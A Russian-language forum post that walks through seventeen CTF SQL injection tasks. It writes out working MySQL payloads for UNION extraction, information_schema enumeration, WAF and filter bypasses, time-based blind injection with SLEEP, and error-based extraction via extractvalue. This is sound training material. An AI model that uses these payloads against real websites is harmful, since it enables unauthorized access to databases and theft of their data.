G
guest-1675977874
Codeby Games
Развивайте свои навыки, выполняя задания на захват флага (CTF) в любое удобное время
game.codeby.school
Привет !!! Я решил начать заниматься скулями , так как приобрел курс codeby sql inj master и хочу подготовиться чутка.Если вас тоже интересуют sql иньекции , то рекомендую дочитать эту статью до конца , ведь sql injection - это всегда актуально.Они встречаются на ctfках , на реальный веб ресурсах тема актуальная проще говоря и стоит знать о них...Для начала рекомендую ознакомиться с полезным pdf файлом , где расписан некоторые синтаксис SQL
Ссылка скрыта от гостей
и еще я нашел крутой курс по SQL для начинающих - https://www.youtube.com/playlist?list=PL47zejIkBQvTJqvh9ZtNn01zwJ2lGXk-EЧто касаемо заданий , я буду использовать с платформы forkbomb.ru.И так начнем!
MySql , надо получить флаг , чтобы это сделать нам надо , чтобы в переменную name подставился никнейм Kurome.Мы можем это увидеть , если впишем любые данные ( например 123 )
Забираем флаг
2 TASK
Забираем флаг
Почему именно так расставили кавычки? А мы можем их вообще не ставить и мы увидим , что не хватает две одинарные кавычки и в каких местах:
3 TASK
LIMIT 0 означает , что выведется 0 строчек , чтобы решить эту проблему нужно закомментировать все , что после Линочки
# или -- -
4 TASK
Воспользуемся union`ом и возьмем secret из таблицы girls где имя Gabriel
Task 5
опять пользуемся union и забираем ВСЁ (*) из таблицы girls , где имя Madoka
Task 6
Мы можем обойти WAF просто изменив регистр любых букв в словах SELECT и FROM
TASK 7
У нас нет названия таблиц , но мы знаем , что в MySql information_schema.tables хранит в себе информацию о названии бд , таблиц и т.д...Значит мы можем выполнить запрос * from information_schema.tables
и мы получаем названия всех таблиц.
А дальше мы можем уже прочитать содержимое
TASK 8
Нам не известно кол-во столбцов
добавляем NULL , пока не получим флаг.Всего 3 столбца , а значит flag , 2 , 3 или flag , NULL , NULL
TASK 9
нам запрещены любые кавычки , когда мы их вводим получается вот такое искажение:
Поэтому мы можем просто перевести 7e6d83ade8bcbea8 в hex
Это работает!
TASK 10
1) Используем значение , которого нет в колонке
2)Составляем запрос id=565 union select flag,NULL,NULL from flag
нужно подбирать кол-во NULL , так как мы не знаем сколько колонок , но я узнал , что их три.То есть флаг + две колонки.
Забираем флаг)
TASK 11
Если посмотрим php CODE , то мы заметим , что у нас фильтруются символы по регулярке ("/[, '()+=\"]+/", '', $age);
Это значит мы не можем использовать where , так как нужно равно и еще проблемы , но мы можем обойти пробелы с помощью комментариев /**/
Вводим число которого нет в таблице , а далее используем union select и обязательно like , а не where и кодируем наше значение в hex и перед ним вставляем 0x , чтобы система понимала , что это hex.Забираем флаг
TASK 12
Нельзя использовать = и select или SELECT. Знаачит вместо where используем like , а вместе SELECT например Select , то есть меняем регистр букв.И все работает)
TASK 13
Запрещены запятые , но с помощью JOIN мы это обходим. гуглим common bypass sql
Ссылка скрыта от гостей
тут больше подробностейTASK 14
У нас вот такая вот страничка , всё что у нас есть - это название таблицы , колонки и SQL DEBUG , который ничего не выводит.Нам нужно угадать флаг с помощью слепой иньекции , то есть мы должно составить такой запрос , который будет засыпать на секунды , которые мы пропишем , если эта буква или спец.символ действительно есть , а если нет , то сразу откликаться.Для начала мы должны понять , как нам ориентироваться , ведь , чтобы было быстрее мы будем пользоваться сравнением например наша букву > m , чтобы не перебирать все возможные варианты.Конечно , в любом случае это полный бред человек не должен таким заниматься вручную , тут нужен скрипт , но понимать всё равно важно. И так приступим!
С помощью python выводим нужный алфавит по которому работает mysql - это не ascii , как оказалось
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
Далее нам нужен шаблон в который мы будем подставлять значения.Поэтом просто гуглим
Мы находим вот такой шаблон
(SUBSTRING(version(),1,1)=5,SLEEP(5),null) делаем под наше задание
IF(SUBSTRING((select flag from flag),1,1)='s',SLEEP(5),null)
шаблон собственно готов , но мы будем каждый раз менять символ в ' ' и позицию 1,1 - первая буква , 2,1 - вторая и т.д
spbctf{RANDOMTEXT}
вот такой шаблон флага.Давайте проверим
IF(SUBSTRING((select flag from flag),2,1)='p',SLEEP(5),null)
Да , задержка действительно присутствует значит буква p на второй позиции действительно находится.Продолжаем...
Как нам дальше перебирать?
как я и сказал spbctf{RANDOMTEXT} - это шаблон флага. { - 7 символ в флаге.
IF(SUBSTRING((select flag from flag),7,1) < '~',SLEEP(5),null) - True
т.к наш символ { действительно находится ДО ~
IF(SUBSTRING((select flag from flag),7,1) < '?',SLEEP(5),null) - False
т.к ? находится до { поэтому задержки не будет.
Это задание очень долго делать руками поэтому давайте я найду 8 символ и скипнем.
IF(SUBSTRING((select flag from flag),8,1) < 'Z',SLEEP(5),null) - True значит это не спец.символ
отойдем еще на 5 символов назад и возьмем попробуем V
IF(SUBSTRING((select flag from flag),8,1) < 'V',SLEEP(5),null) - True попробуем значит еще на 5
IF(SUBSTRING((select flag from flag),8,1) < 'R',SLEEP(5),null) - True - попробуем теперь прыгнуть через 10
IF(SUBSTRING((select flag from flag),8,1) < 'G',SLEEP(5),null) - False
IF(SUBSTRING((select flag from flag),8,1) = 'G',SLEEP(5),null) - True
Мы нашли 8 символ - это G
IF(SUBSTRING((select flag from flag),9,1) = '0',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),10,1) = '0',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),11,1) = 'D',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),12,1) = '_',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),13,1) = 'j',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),14,1) = '0',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),15,1) = 'b',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),16,1) = '_',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),17,1) = 'R',SLEEP(5),null) - TRUE
IF(SUBSTRING((select flag from flag),18,1) = 'E',SLEEP(5),null) - TRUE
TASK 15
Есть форма авторизации и нам нужно угадать флаг , всё , что мы знаем , что он состоит из 7 цифр.
Для начала угадаем кол-во столбицов
' and 1=2 union select flag from flag where flag like "%" -- - (false)
' and 1=2 union select flag,1 from flag where flag like "%" -- - (false)
' and 1=2 union select flag ,1 , 2 from flag where flag like "%" -- - (true)
-- - это комментарий
like 1% - означает , что первый символ единица
like 12% - означает , что первые два символа - 12
Мы узнали , что у нас 3 столбца теперь будем угадывать первую цифру флага
' and 1=2 union select flag ,1 , 2 from flag where flag like "5%" -- - (false)
' and 1=2 union select flag ,1 , 2 from flag where flag like "6%" -- - (true)
И продолжаем так перебирать до 7 цифры влючительно
TASK 16
Нужно с помощью ERROR injection получить флаг
Ссылка скрыта от гостей
берем отсюда шаблонextractvalue(rand(),concat(0x3a,(select version())))
в данном случае выведет версию mysql.А нам надо флаг.Поэтому version() удаляем и пишем flag from flag
extractvalue(rand(),concat(0x3a,(select flag from flag )))
и забираем флаг))
TASK 17
extractvalue(rand(),concat(0x3a,(select flag from flag)))
мы получим не весь флаг , а только часть
Воспользуемся операторором substring и будем по 10 склеивать недостающий флаг
extractvalue(rand(),concat(0x3a,substring((select flag from flag),10)))
и т.д
на этом всё)Если вам понравилась моя статья , то пишите в комментах